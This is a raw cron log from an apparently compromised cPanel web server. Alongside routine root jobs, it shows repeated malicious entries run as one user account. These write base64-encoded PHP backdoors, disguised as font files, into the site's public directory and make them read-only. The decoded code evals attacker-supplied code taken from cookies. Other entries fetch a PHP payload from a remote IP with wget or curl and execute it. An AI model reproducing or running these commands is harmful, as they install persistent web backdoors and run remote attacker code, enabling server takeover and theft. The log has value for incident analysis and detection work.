Sep  9 11:01:01 ip-184-168-122-23 CROND[2559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:01:01 ip-184-168-122-23 CROND[2561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:01:01 ip-184-168-122-23 CROND[2560]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2560]: starting 0anacron
Sep  9 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2574]: finished 0anacron
Sep  9 11:02:01 ip-184-168-122-23 CROND[2711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:02:01 ip-184-168-122-23 CROND[2714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:02:01 ip-184-168-122-23 CROND[2716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:02:01 ip-184-168-122-23 CROND[2717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:02:01 ip-184-168-122-23 CROND[2715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:03:01 ip-184-168-122-23 CROND[2836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:03:01 ip-184-168-122-23 CROND[2838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:03:01 ip-184-168-122-23 CROND[2840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:03:01 ip-184-168-122-23 CROND[2839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:04:01 ip-184-168-122-23 CROND[2982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:04:01 ip-184-168-122-23 CROND[2984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:04:01 ip-184-168-122-23 CROND[2986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:04:01 ip-184-168-122-23 CROND[2987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:04:01 ip-184-168-122-23 CROND[2988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:05:01 ip-184-168-122-23 CROND[3108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:05:01 ip-184-168-122-23 CROND[3111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:05:01 ip-184-168-122-23 CROND[3113]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 11:05:01 ip-184-168-122-23 CROND[3110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:05:01 ip-184-168-122-23 CROND[3112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:05:01 ip-184-168-122-23 CROND[3114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:05:01 ip-184-168-122-23 CROND[3116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:06:01 ip-184-168-122-23 CROND[3303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:06:01 ip-184-168-122-23 CROND[3306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:06:01 ip-184-168-122-23 CROND[3307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:06:01 ip-184-168-122-23 CROND[3308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:06:01 ip-184-168-122-23 CROND[3310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:07:02 ip-184-168-122-23 CROND[3441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:07:02 ip-184-168-122-23 CROND[3443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:07:02 ip-184-168-122-23 CROND[3445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:07:02 ip-184-168-122-23 CROND[3444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:08:01 ip-184-168-122-23 CROND[3594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:08:01 ip-184-168-122-23 CROND[3595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:08:01 ip-184-168-122-23 CROND[3599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:08:01 ip-184-168-122-23 CROND[3598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:08:01 ip-184-168-122-23 CROND[3602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:09:02 ip-184-168-122-23 CROND[3727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:09:02 ip-184-168-122-23 CROND[3729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:09:02 ip-184-168-122-23 CROND[3730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:09:02 ip-184-168-122-23 CROND[3734]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 11:09:02 ip-184-168-122-23 CROND[3737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:10:02 ip-184-168-122-23 CROND[3876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:10:02 ip-184-168-122-23 CROND[3878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:10:02 ip-184-168-122-23 CROND[3877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:10:02 ip-184-168-122-23 CROND[3879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:10:02 ip-184-168-122-23 CROND[3881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:10:02 ip-184-168-122-23 CROND[3880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:10:02 ip-184-168-122-23 CROND[3882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:10:02 ip-184-168-122-23 CROND[3888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:11:01 ip-184-168-122-23 CROND[4075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:11:01 ip-184-168-122-23 CROND[4076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:11:01 ip-184-168-122-23 CROND[4080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:11:01 ip-184-168-122-23 CROND[4081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:12:01 ip-184-168-122-23 CROND[4206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:12:01 ip-184-168-122-23 CROND[4209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:12:01 ip-184-168-122-23 CROND[4208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:12:01 ip-184-168-122-23 CROND[4210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:12:01 ip-184-168-122-23 CROND[4214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:13:01 ip-184-168-122-23 CROND[4321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:13:01 ip-184-168-122-23 CROND[4323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
